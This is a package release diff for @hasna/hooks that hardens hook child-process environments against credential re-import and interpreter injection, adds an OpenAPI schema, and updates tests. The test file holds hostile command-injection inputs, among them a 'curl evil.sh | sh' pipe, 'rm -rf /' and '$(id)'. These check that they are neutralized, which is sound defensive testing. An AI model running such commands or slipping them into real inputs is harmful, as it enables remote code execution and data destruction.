@hasna/hooks 0.6.6 → 0.7.0

package/dist/lib/hook-env.d.ts

@@ -6,8 +6,10 @@
  * parent's process.env wholesale hands every credential the agent can reach
  * to arbitrary code. The child gets:
  *
- *   1. a fixed allowlist of non-secret session variables (PATH, HOME, LANG,
- *      TZ, SHELL, TERM, USER, PWD);
+ *   1. a fixed allowlist of non-secret session variables (HOME, LANG, TZ,
+ *      SHELL, TERM, USER, PWD) plus PATH — PATH rebuilt from a trusted
+ *      baseline with writable-directory entries removed (or a per-hook
+ *      manifest env.PATH override, verbatim);
  *   2. non-secret HOOKS_* projections of the parent's HASNA_HOOKS_* config
  *      (data dir, DB path, lock path, config path) so in-process DB/config
  *      resolution inside the hook still finds the store the parent configured;
@@ -24,6 +26,20 @@
  *            ANTHROPIC_, POSTGRES_, MYSQL_, REDIS_, MONGO_, MEMENTOS_
  *   contains: DATABASE_URL (any variant)
  *
+ * The deny list alone is NOT the whole boundary (bug cf99cf76): it strips
+ * credential-shaped NAMES from the parent env, but a credential can be
+ * re-imported from a FILE through interpreter machinery. BASH_ENV tells bash
+ * to source a file before running any non-interactive script, and ENV does
+ * the same for interactive shells — a parent whose BASH_ENV points at e.g.
+ * hasna-cloud-env.sh hands the hook child a process that re-exports the
+ * fleet credential env AFTER the deny list ran. The interpreter-injection
+ * set below strips every variable that makes a child interpreter run or
+ * source code the hook did not ask for (sourcing vectors, interpreter option
+ * lists, module/startup injection, dynamic-loader preloads, TLS-trust
+ * redirection, gconv/locale module injection). Exact case-sensitive names:
+ * POSIX interpreters read these literals, and a differently-cased variant is
+ * an inert, unrelated variable.
+ *
  * Names that merely resemble credentials (e.g. HOOKS_DATA_DIR) survive; a
  * path is not a credential.
  */
@@ -32,11 +48,51 @@
  * hook child process. Case-insensitive.
  */
 export declare function isDeniedEnvName(name: string): boolean;
+/**
+ * True when a variable NAME is interpreter-injection (bug cf99cf76): it can
+ * make a child interpreter run or source code the hook did not ask for.
+ * Exact case-sensitive match — interpreters read these literals verbatim.
+ */
+export declare function isInterpreterInjectionEnvName(name: string): boolean;
+/**
+ * True when a variable NAME is a bash exported-function entry
+ * (BASH_FUNC_<name>%%): bash imports EXPORTED FUNCTIONS from the environment
+ * into the child shell, where they shadow commands (env/cat/git/node) and
+ * run attacker code on the hook's first command. The %% suffix is bash's
+ * export encoding; the prefix test covers every form (%% , single %, none).
+ *
+ * Aliases are deliberately NOT denied: bash cannot import aliases from the
+ * environment (BASH_ALIASES is an associative array and is never exported) —
+ * functions are the only env-importable code vector for bash, so the strip
+ * is precisely the BASH_FUNC_* prefix.
+ */
+export declare function isBashFunctionEnvName(name: string): boolean;
+/**
+ * True when a PATH entry may hold attacker-controlled executables: an empty
+ * or relative entry (resolves against the child's cwd), an entry under the
+ * user's home, an entry under a shared tmp tree, or a world-writable
+ * directory (any user can drop a fake binary there).
+ */
+export declare function isUnsafePathEntry(entry: string, home: string | undefined): boolean;
+/**
+ * Rebuild a PATH for the hook child from a trusted baseline: the system
+ * directories (plus /opt/homebrew/bin on macOS when present) and the
+ * runner's own bun directory (the interpreter the hook runs under, trusted
+ * by definition even when it lives under $HOME). Parent entries are kept
+ * only when they do not live under $HOME, /tmp, /var/tmp, or a world-writable
+ * path — a fake `node`/`git` planted in a writable directory must never
+ * execute on the hook's first command. An explicit per-hook env.PATH
+ * (manifest) override bypasses this entirely: the hook author declares the
+ * complete PATH it needs.
+ */
+export declare function sanitizeHookPath(pathValue: string, home: string | undefined): string;
 /**
  * Build the sanitized environment for a hook child process.
  *
  * `source` is the parent's environment; `extra` is any caller-supplied env
- * the hook may need. The deny list applies to BOTH — a caller cannot
- * reintroduce a credential-bearing name.
+ * the hook may need. The deny list AND the interpreter-injection set apply
+ * to BOTH — a caller cannot reintroduce a credential-bearing name, and
+ * cannot reintroduce a variable that would make the child's interpreter
+ * source or run code (bug cf99cf76).
  */
 export declare function buildHookEnv(source: Record<string, string | undefined>, extra?: Record<string, string | undefined>): Record<string, string>;

package/dist/lib/manifest.d.ts

@@ -18,11 +18,21 @@ export declare const manifestSchema: z.ZodObject<{
     script_kind: z.ZodOptional<z.ZodEnum<["inline", "file"]>>;
     args: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
     timeout_ms: z.ZodOptional<z.ZodNumber>;
+    /**
+     * Per-hook environment passed to the hook child (reviewer efcad315).
+     * Every name is still filtered through the credential deny list and the
+     * interpreter-injection strip; `env.PATH` here is the documented way to
+     * override the sanitized default PATH — it is passed verbatim, bypassing
+     * PATH sanitization (the hook author declares the complete PATH the hook
+     * needs).
+     */
+    env: z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodString>>;
 }, "strip", z.ZodTypeAny, {
     version: string;
     events: string[];
     name: string;
     script: string;
+    env?: Record<string, string> | undefined;
     description?: string | undefined;
     script_kind?: "inline" | "file" | undefined;
     args?: string[] | undefined;
@@ -32,6 +42,7 @@ export declare const manifestSchema: z.ZodObject<{
     events: string[];
     name: string;
     script: string;
+    env?: Record<string, string> | undefined;
     description?: string | undefined;
     script_kind?: "inline" | "file" | undefined;
     args?: string[] | undefined;

package/dist/lib/semver.d.ts

@@ -7,6 +7,13 @@
  * while the artifact routes demanded a bare `\d+\.\d+\.\d+` at the end of
  * the path, so a pinned prerelease install 404'd. This is the one pattern:
  * full semver with optional prerelease and build metadata.
+ *
+ * Numeric identifiers are STRICT (reviewer efcad315): per semver.org §2,
+ * numeric identifiers MUST NOT carry leading zeroes ("1.0.0-01" is not
+ * "1.0.0-1" — it is not semver at all), and identifiers longer than 16
+ * digits are rejected as invalid so no surface can ever store a version the
+ * comparator cannot order exactly (Number() precision ends at
+ * MAX_SAFE_INTEGER; the comparator itself uses BigInt, see compareVersions).
  */
 export declare const SEMVER_PATTERN: RegExp;
 /**
@@ -17,3 +24,23 @@ export declare const SEMVER_PATTERN: RegExp;
 export declare const SEMVER_PATH_SEGMENT = "[0-9A-Za-z.+_-]+";
 export declare function isValidSemver(value: string): boolean;
 export declare function semverError(value: string): string;
+/**
+ * Full semver precedence (semver.org §11), shared by every surface that
+ * must ORDER published versions — the registry latest pointer (bug
+ * 6e412e52) compares with this and nothing else.
+ *
+ * Returns <0 when a sorts before b, 0 when equal, >0 when a sorts after b.
+ * Build metadata never participates. Prerelease identifiers compare by the
+ * spec's rules: numeric identifiers numerically, numeric before alphanumeric,
+ * fewer identifiers before more, release before any prerelease.
+ *
+ * Numeric identifiers compare as BigInt (reviewer efcad315): Number()
+ * loses precision past MAX_SAFE_INTEGER, which made near-16-digit numeric
+ * identifiers compare equal and made "1.0.0-01" vs "1.0.0-1" compare >0 in
+ * BOTH directions (Number("01") === Number("1") while the strings differ).
+ * BigInt keeps the comparison exact and antisymmetric at any length; the
+ * validation pattern rejects leading-zero and >16-digit identifiers as
+ * invalid, and this comparator stays correct even if an old invalid value
+ * ever reaches it.
+ */
+export declare function compareVersions(a: string, b: string): number;

package/dist/openapi.d.ts

@@ -0,0 +1,216 @@
+export declare const openApiDocument: {
+    readonly openapi: "3.1.0";
+    readonly info: {
+        readonly title: "Hooks Registry API";
+        readonly version: "0.1.0";
+        readonly description: "Local registry HTTP API for @hasna/hooks: catalog, lock, and artifact reads are open; publishing (PUT /api/v1/hooks) requires the API key (authorization: Bearer or x-api-key).";
+    };
+    readonly servers: readonly [{
+        readonly url: "/";
+    }];
+    readonly paths: {
+        readonly "/health": {
+            readonly get: {
+                readonly summary: "Liveness probe";
+                readonly operationId: "getHealth";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "Service is alive";
+                        readonly content: {
+                            readonly "application/json": {
+                                readonly schema: {
+                                    readonly type: "object";
+                                    readonly additionalProperties: true;
+                                };
+                            };
+                        };
+                    };
+                };
+            };
+        };
+        readonly "/ready": {
+            readonly get: {
+                readonly summary: "Readiness probe — the hooks.lock store is readable";
+                readonly operationId: "getReady";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "Lock store is readable";
+                    };
+                    readonly "503": {
+                        readonly description: "Lock store is not readable";
+                    };
+                };
+            };
+        };
+        readonly "/version": {
+            readonly get: {
+                readonly summary: "Package version";
+                readonly operationId: "getVersion";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "The installed @hasna/hooks version";
+                        readonly content: {
+                            readonly "application/json": {
+                                readonly schema: {
+                                    readonly type: "object";
+                                    readonly properties: {
+                                        readonly version: {
+                                            readonly type: "string";
+                                        };
+                                    };
+                                };
+                            };
+                        };
+                    };
+                };
+            };
+        };
+        readonly "/openapi.json": {
+            readonly get: {
+                readonly summary: "This OpenAPI document";
+                readonly operationId: "getOpenApi";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "OpenAPI 3.1 document";
+                    };
+                };
+            };
+        };
+        readonly "/api/v1/catalog": {
+            readonly get: {
+                readonly summary: "List the full hook catalog with versions and sha256";
+                readonly operationId: "getCatalog";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "Catalog entries";
+                        readonly content: {
+                            readonly "application/json": {
+                                readonly schema: {
+                                    readonly type: "object";
+                                    readonly properties: {
+                                        readonly hooks: {
+                                            readonly type: "array";
+                                            readonly items: {
+                                                readonly type: "object";
+                                                readonly properties: {
+                                                    readonly name: {
+                                                        readonly type: "string";
+                                                    };
+                                                    readonly version: {
+                                                        readonly type: "string";
+                                                    };
+                                                    readonly sha256: {
+                                                        readonly type: "string";
+                                                    };
+                                                    readonly events: {
+                                                        readonly type: "array";
+                                                        readonly items: {
+                                                            readonly type: "string";
+                                                        };
+                                                    };
+                                                };
+                                            };
+                                        };
+                                    };
+                                };
+                            };
+                        };
+                    };
+                };
+            };
+        };
+        readonly "/api/v1/lock": {
+            readonly get: {
+                readonly summary: "Read the published hooks.lock with per-hook versions";
+                readonly operationId: "getLock";
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "The lock file";
+                    };
+                };
+            };
+        };
+        readonly "/api/v1/hooks/{name}/{version}": {
+            readonly get: {
+                readonly summary: "Fetch one hook's manifest and script";
+                readonly operationId: "getHookArtifact";
+                readonly parameters: readonly [{
+                    readonly name: "name";
+                    readonly in: "path";
+                    readonly required: true;
+                    readonly schema: {
+                        readonly type: "string";
+                    };
+                }, {
+                    readonly name: "version";
+                    readonly in: "path";
+                    readonly required: true;
+                    readonly schema: {
+                        readonly type: "string";
+                    };
+                }];
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "Hook artifact; x-hook-sha256 header carries the script hash";
+                    };
+                    readonly "400": {
+                        readonly description: "Invalid URL encoding or semver version";
+                    };
+                    readonly "404": {
+                        readonly description: "Hook not found locally";
+                    };
+                };
+            };
+        };
+        readonly "/api/v1/hooks": {
+            readonly put: {
+                readonly summary: "Publish/retrust a hook (requires the API key)";
+                readonly operationId: "putHook";
+                readonly requestBody: {
+                    readonly required: true;
+                    readonly content: {
+                        readonly "application/json": {
+                            readonly schema: {
+                                readonly type: "object";
+                                readonly properties: {
+                                    readonly name: {
+                                        readonly type: "string";
+                                    };
+                                    readonly version: {
+                                        readonly type: "string";
+                                    };
+                                };
+                            };
+                        };
+                    };
+                };
+                readonly responses: {
+                    readonly "200": {
+                        readonly description: "Hook retrusted and pin updated";
+                    };
+                    readonly "401": {
+                        readonly description: "Missing or invalid API key";
+                    };
+                    readonly "404": {
+                        readonly description: "Hook not found in local store";
+                    };
+                    readonly "409": {
+                        readonly description: "Version mismatch with the local store";
+                    };
+                };
+                readonly security: readonly [{
+                    readonly apiKey: readonly [];
+                }];
+            };
+        };
+    };
+    readonly components: {
+        readonly securitySchemes: {
+            readonly apiKey: {
+                readonly type: "http";
+                readonly scheme: "bearer";
+                readonly description: "The registry API key (HASNA_HOOKS_API_KEY / HOOKS_API_KEY).";
+            };
+        };
+    };
+};

package/dist/storage.js

@@ -49,7 +49,7 @@ function up(db) {
     db.exec(idx);
   }
 }
-var init_001_initial = __esm(() => {
+var init__001_initial = __esm(() => {
   init_schema();
 });
 
@@ -78,7 +78,7 @@ function up2(db) {
     throw err;
   }
 }
-var init_002_session_events = __esm(() => {
+var init__002_session_events = __esm(() => {
   init_schema();
 });
 
@@ -107,7 +107,7 @@ function up3(db) {
     throw err;
   }
 }
-var init_003_user_prompt_submit_event = __esm(() => {
+var init__003_user_prompt_submit_event = __esm(() => {
   init_schema();
 });
 
@@ -131,7 +131,7 @@ var CREATE_HOOKS_TABLE = `
     last_verified_at TEXT
   )
 `, CREATE_HOOKS_INDEXES;
-var init_004_hooks_table = __esm(() => {
+var init__004_hooks_table = __esm(() => {
   CREATE_HOOKS_INDEXES = [
     `CREATE INDEX IF NOT EXISTS idx_hooks_name ON hooks (name)`
   ];
@@ -162,7 +162,7 @@ function up5(db) {
     throw err;
   }
 }
-var init_005_subagent_start_event = __esm(() => {
+var init__005_subagent_start_event = __esm(() => {
   init_schema();
 });
 
@@ -194,11 +194,11 @@ function runMigrations(db) {
 }
 var MIGRATIONS;
 var init_migrations = __esm(() => {
-  init_001_initial();
-  init_002_session_events();
-  init_003_user_prompt_submit_event();
-  init_004_hooks_table();
-  init_005_subagent_start_event();
+  init__001_initial();
+  init__002_session_events();
+  init__003_user_prompt_submit_event();
+  init__004_hooks_table();
+  init__005_subagent_start_event();
   MIGRATIONS = [
     { version: "001_initial", up },
     { version: "002_session_events", up: up2 },
@@ -888,29 +888,29 @@ function coerceForSqlite(value) {
   return String(value);
 }
 export {
-  storageSync,
-  storagePush,
-  storagePull,
-  runStorageMigrations,
-  resolveTables,
-  parseStorageTables,
-  getSyncMetaAll,
-  getStorageStatus,
-  getStoragePg,
-  getStorageDatabaseUrl,
-  getStorageDatabaseEnvName,
-  getStorageDatabaseEnv,
-  getStorageBackend,
-  STORAGE_TABLES,
-  STORAGE_DATABASE_ENV,
-  STORAGE_BACKEND_ENV,
-  STORAGE_BACKENDS,
-  RETIRED_STORAGE_MODE_ENV,
-  PgAdapterAsync,
-  PG_MIGRATIONS,
-  HOOKS_STORAGE_TABLES,
-  HOOKS_STORAGE_FALLBACK_ENV,
-  HOOKS_STORAGE_ENV,
+  HOOKS_STORAGE_BACKEND_ENV,
   HOOKS_STORAGE_BACKEND_FALLBACK_ENV,
-  HOOKS_STORAGE_BACKEND_ENV
+  HOOKS_STORAGE_ENV,
+  HOOKS_STORAGE_FALLBACK_ENV,
+  HOOKS_STORAGE_TABLES,
+  PG_MIGRATIONS,
+  PgAdapterAsync,
+  RETIRED_STORAGE_MODE_ENV,
+  STORAGE_BACKENDS,
+  STORAGE_BACKEND_ENV,
+  STORAGE_DATABASE_ENV,
+  STORAGE_TABLES,
+  getStorageBackend,
+  getStorageDatabaseEnv,
+  getStorageDatabaseEnvName,
+  getStorageDatabaseUrl,
+  getStoragePg,
+  getStorageStatus,
+  getSyncMetaAll,
+  parseStorageTables,
+  resolveTables,
+  runStorageMigrations,
+  storagePull,
+  storagePush,
+  storageSync
 };

package/hooks/codewith-native-common.test.ts

@@ -85,11 +85,11 @@ describe("codewith native common helpers", () => {
     };
 
     test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
-      const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
+      const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
       const info = managedWorktreeInfo(worktreeRoot);
       expect(info.managed).toBe(true);
       expect(info.layout).toBe("canonical");
-      expect(info.repo).toBe("open-hooks");
+      expect(info.repo).toBe("hooks");
       expect(info.worktree).toBe("OPE61-00004-worktree-guard");
       expect(info.worktreeRoot).toBe(worktreeRoot);
       expect(info.deprecated).toBeUndefined();
@@ -97,7 +97,7 @@ describe("codewith native common helpers", () => {
 
     test("accepts a canonical path whose checkout is a standalone repo", () => {
       // Rule 8 governs where the checkout lives, not whether it is a linked worktree.
-      expect(managedWorktreeInfo(makeWorktree("open-hooks", "standalone", "standalone")).managed).toBe(true);
+      expect(managedWorktreeInfo(makeWorktree("hooks", "standalone", "standalone")).managed).toBe(true);
     });
 
     test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
@@ -143,7 +143,7 @@ describe("codewith native common helpers", () => {
 
     test("rejects a worktree whose repository no longer registers it", () => {
       // Real fleet state: the parent repo was pruned, so git itself refuses to work here.
-      const worktreeRoot = makeWorktree("open-hooks", "orphaned");
+      const worktreeRoot = makeWorktree("hooks", "orphaned");
       rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
       writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
 
@@ -151,7 +151,7 @@ describe("codewith native common helpers", () => {
     });
 
     test("accepts subdirectories of a canonical worktree", () => {
-      const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
+      const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
       mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
 
       for (const nested of [
@@ -168,7 +168,7 @@ describe("codewith native common helpers", () => {
     test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
       // The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
       // shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
-      const flat = join(root, "open-hooks-flat-worktree");
+      const flat = join(root, "hooks-flat-worktree");
       mkdirSync(join(flat, "src"), { recursive: true });
       git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
 
@@ -188,17 +188,17 @@ describe("codewith native common helpers", () => {
       const shared = join(tmp, "shared-checkout");
       mkdirSync(shared, { recursive: true });
       writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
-      mkdirSync(join(root, "open-hooks"), { recursive: true });
-      symlinkSync(shared, join(root, "open-hooks", "linked"));
+      mkdirSync(join(root, "hooks"), { recursive: true });
+      symlinkSync(shared, join(root, "hooks", "linked"));
       symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
       mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
 
-      expect(managedWorktreeInfo(join(root, "open-hooks", "linked")).reason).toContain("traverses a symlink");
+      expect(managedWorktreeInfo(join(root, "hooks", "linked")).reason).toContain("traverses a symlink");
       expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
     });
 
     test("rejects a flat single-segment worktree under the worktrees root", () => {
-      const info = managedWorktreeInfo(join(root, "open-hooks-flat-worktree"));
+      const info = managedWorktreeInfo(join(root, "hooks-flat-worktree"));
       expect(info.managed).toBe(false);
       expect(info.layout).toBeUndefined();
       expect(info.reason).toContain("flat under the worktrees root");
@@ -212,19 +212,19 @@ describe("codewith native common helpers", () => {
     });
 
     test("rejects paths outside the worktrees root", () => {
-      const info = managedWorktreeInfo(join(tmp, "elsewhere", "open-hooks"));
+      const info = managedWorktreeInfo(join(tmp, "elsewhere", "hooks"));
       expect(info.managed).toBe(false);
       expect(info.reason).toBe("outside worktrees root");
     });
 
     test("rejects a station-id segment in front of <repo>/<worktree>", () => {
-      const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "OPE61-00004-worktree-guard"));
+      const info = managedWorktreeInfo(join(root, "station01", "hooks", "OPE61-00004-worktree-guard"));
       expect(info.managed).toBe(false);
       expect(info.reason).toContain("station-id/machine segment or extra nesting");
       expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
     });
 
-    const LEASE = ["station01", "open-hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
+    const LEASE = ["station01", "hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
 
     /** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
     const makeLeaseWorktree = (nested: boolean): string => {
@@ -278,7 +278,7 @@ describe("codewith native common helpers", () => {
     });
 
     test("rejects nesting deeper than the canonical shape", () => {
-      const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "wt-name", "repo"));
+      const info = managedWorktreeInfo(join(root, "station01", "hooks", "wt-name", "repo"));
       expect(info.managed).toBe(false);
       expect(info.layout).toBeUndefined();
       expect(info.reason).toContain("station-id/machine segment or extra nesting");
@@ -286,9 +286,9 @@ describe("codewith native common helpers", () => {
 
     test("rejects malformed canonical segments", () => {
       expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
-      expect(managedWorktreeInfo(join(root, "open-hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
+      expect(managedWorktreeInfo(join(root, "hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
       expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
-      expect(managedWorktreeInfo(join(root, "open-hooks", ".git")).reason).toContain("worktree-name segment is malformed");
+      expect(managedWorktreeInfo(join(root, "hooks", ".git")).reason).toContain("worktree-name segment is malformed");
     });
 
     test("accepts ordinary directory names an allowlist would wrongly reject", () => {
@@ -297,7 +297,7 @@ describe("codewith native common helpers", () => {
       for (const [repo, worktree] of [
         ["connectors", "_base"],
         ["c++utils", "OPE61-00004"],
-        ["open-hooks", "e".repeat(200)],
+        ["hooks", "e".repeat(200)],
         ["Open-Hooks", "task~1 with spaces"],
       ]) {
         expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
@@ -310,12 +310,12 @@ describe("codewith native common helpers", () => {
     process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
     try {
       // The canonical repo name comes from the repos CLI, and is frequently not the
-      // git remote basename: `open-hooks` is `github.com/hasna/hooks`.
-      expect(claimCommand("open-hooks", "OPE61-00004", "main")).toBe(
-        "git worktree add -b OPE61-00004 /root/worktrees/open-hooks/OPE61-00004 origin/main && repos scan",
+      // git remote basename: `hooks` is `github.com/hasna/hooks`.
+      expect(claimCommand("hooks", "OPE61-00004", "main")).toBe(
+        "git worktree add -b OPE61-00004 /root/worktrees/hooks/OPE61-00004 origin/main && repos scan",
       );
       expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
-      expect(claimCommand("open-hooks", "OPE61-00004")).toContain("origin/<default-branch>");
+      expect(claimCommand("hooks", "OPE61-00004")).toContain("origin/<default-branch>");
     } finally {
       if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
       else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
@@ -323,7 +323,7 @@ describe("codewith native common helpers", () => {
   });
 
   test("claimCommand never derives the repo segment from a remote slug", () => {
-    // `hasna/hooks` is this repo's remote slug; its canonical name is `open-hooks`.
+    // `hasna/hooks` is this repo's remote slug; its canonical name is `hooks`.
     // Silently taking the basename would emit `hooks/`, a directory that does not
     // exist — so a slug must be refused outright, not trimmed into a plausible lie.
     const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
@@ -345,15 +345,15 @@ describe("codewith native common helpers", () => {
     const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
     process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
     try {
-      const safe = "git worktree add -b <worktree-name> /root/worktrees/open-hooks/<worktree-name> origin/<default-branch> && repos scan";
+      const safe = "git worktree add -b <worktree-name> /root/worktrees/hooks/<worktree-name> origin/<default-branch> && repos scan";
       for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
         // Hostile input never reaches the rendered command; it degrades to the placeholder.
-        expect(claimCommand("open-hooks", hostile), hostile).toBe(safe);
+        expect(claimCommand("hooks", hostile), hostile).toBe(safe);
       }
       for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
         expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
       }
-      expect(claimCommand("open-hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
+      expect(claimCommand("hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
     } finally {
       if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
       else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;

package/hooks/codewith-native-common.ts

@@ -3028,7 +3028,7 @@ export interface CanonicalRepoIdentity {
  * lookup; never fuzzy `repos cd` or 'did you mean' output for targeting)".
  *
  * This matters because the repos-CLI name is frequently NOT the git remote
- * basename — on this fleet 46 of 50 indexed repos differ (`open-hooks` is
+ * basename — on this fleet 46 of 50 indexed repos differ (the retired `open-hooks` row is
  * `github.com/hasna/hooks`, `open-mailery` is `.../emails`). Deriving the
  * canonical path segment from the remote would send every agent to the wrong
  * directory, so the remote is only ever used as the exact lookup key.